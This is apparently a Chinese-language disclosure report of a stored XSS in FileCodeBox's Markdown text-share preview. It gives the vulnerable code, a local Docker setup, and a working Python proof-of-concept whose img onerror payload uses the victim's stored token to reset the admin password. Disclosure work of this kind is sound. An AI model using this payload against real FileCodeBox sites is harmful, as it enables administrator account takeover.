FileCodeBox 漏洞报告

软件名称:FileCodeBox

开发者或厂商:vastsa

代码仓库:https://github.com/vastsa/FileCodeBox

1. 文本分享 Markdown 预览在解析异常时输出未净化内容导致存储型 XSS

简要描述:攻击者分享一条恶意文本,用户打开该分享链接即被 XSS。

影响版本:2.4.0 ~ 2.8.4

前置条件:站点允许游客上传,且受害者打开攻击者提供的分享链接。

漏洞成因

文本分享的 Markdown 预览由 2024 主题在前端渲染。渲染函数 renderMarkdownPreview 先用 marked 把正文解析为 HTML,再交给 DOMPurify 净化。解析阶段抛出异常时,该函数直接把原始正文返回给调用方,相关代码如下:

// src/utils/content-preview.ts
export async function renderMarkdownPreview(content: string): Promise<string> {
  try {
    const { marked, DOMPurify } = await loadMarkdownRenderer()
    const rawHtml = await marked(content)
    return DOMPurify.sanitize(rawHtml, {
      ALLOWED_TAGS: MARKDOWN_ALLOWED_TAGS,
      ALLOWED_ATTR: MARKDOWN_ALLOWED_ATTR,
      ALLOWED_URI_REGEXP:
        /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp|xxx):|[^a-z]|[a-z+.-]+(?:[^a-z+.-:]|$))/i
    })
  } catch (error) {
    console.error('Markdown 渲染失败:', error)
    return content
  }
}

marked 在处理深层嵌套引用时会抛出 RangeError: Maximum call stack size exceeded。因此,只要正文里连续出现足够多的 >,解析就会失败,catch 分支返回的正文没有经过任何净化。

这份正文随后被写入预览组件,组件通过 v-html 把它作为 HTML 插入页面:

<!-- src/components/common/ContentPreviewModal.vue:49 -->
<div
  class="prose max-w-none p-6 rounded-xl break-words overflow-wrap-anywhere"
  :class="isDarkMode ? 'prose-invert bg-zinc-900/60' : 'bg-slate-50'"
  v-html="renderedContent"
></div>

取件流程在文本分享取件成功后会自动打开预览,攻击者不需要受害者额外点击任何按钮:

// src/composables/useRetrieveFlow.ts
if (newFileData.content) {
  showPreview.value = true
}

脚本因此以站点自身的源执行,可以读取 localStorage 中的 token,从而接管账号。

复现环境搭建

mkdir filecodebox && cd filecodebox
cat > docker-compose.yml <<'EOF'
services:
  file-code-box:
    image: lanol/filecodebox:2.8.4
    container_name: filecodebox
    restart: "no"
    ports:
      - "12345:12345"
    environment:
      - APP_ENV=production
      - LOG_LEVEL=info
      - ACCESS_LOG=true
      - WORKERS=1
    volumes:
      - ./data:/app/data
EOF
docker compose up -d

访问 http://127.0.0.1:12345 完成初始化,保留初始化向导默认勾选的“允许游客上传”。

复现过程

接下来演示攻击者如何通过 XSS 修改管理员密码。

匿名创建一个文本分享,正文由 5000 个 > 和一段 img 标签组成。img 的 onerror 会借用当前页面的管理员 token 调用 /admin/config/update,把管理员口令改写为 Pwned123456.,同时在页面顶部插入一条红色横幅,便于确认脚本已执行。创建分享的脚本如下:

import argparse

import httpx

ap = argparse.ArgumentParser()
ap.add_argument("--base", default="http://127.0.0.1:12345")
ap.add_argument("--new-password", default="Pwned123456.")
a = ap.parse_args()

js = (
    "document.title='PWNED';"
    "var b=document.createElement('div');"
    "b.textContent='Admin password has been changed';"
    "b.style.cssText='position:fixed;top:0;left:0;right:0;z-index:99999;"
    "background:#b91c1c;color:#fff;padding:10px;font:700 16px sans-serif';"
    "document.body.appendChild(b);"
    "fetch('/admin/config/update',{method:'PATCH',"
    "headers:{'content-type':'application/json',"
    "authorization:'Bearer '+localStorage.getItem('token')},"
    "body:JSON.stringify({admin_token:'%s'})})" % a.new_password
)
text = ">" * 5000 + '\n\n<img src=x onerror="' + js + '">\n'

r = httpx.post(
    a.base + "/share/text/",
    data={"text": text, "expire_value": "1", "expire_style": "day"},
    timeout=30,
)
r.raise_for_status()
code = r.json()["detail"]["code"]
print("code:", code)
print("url :", "%s/#/?code=%s" % (a.base, code))

脚本输出取件码 VJAKY 与链接 http://127.0.0.1:12345/#/?code=VJAKY。

管理员打开该链接,被 XSS:

此时管理员口令已经被改写。攻击者用新口令登录后台: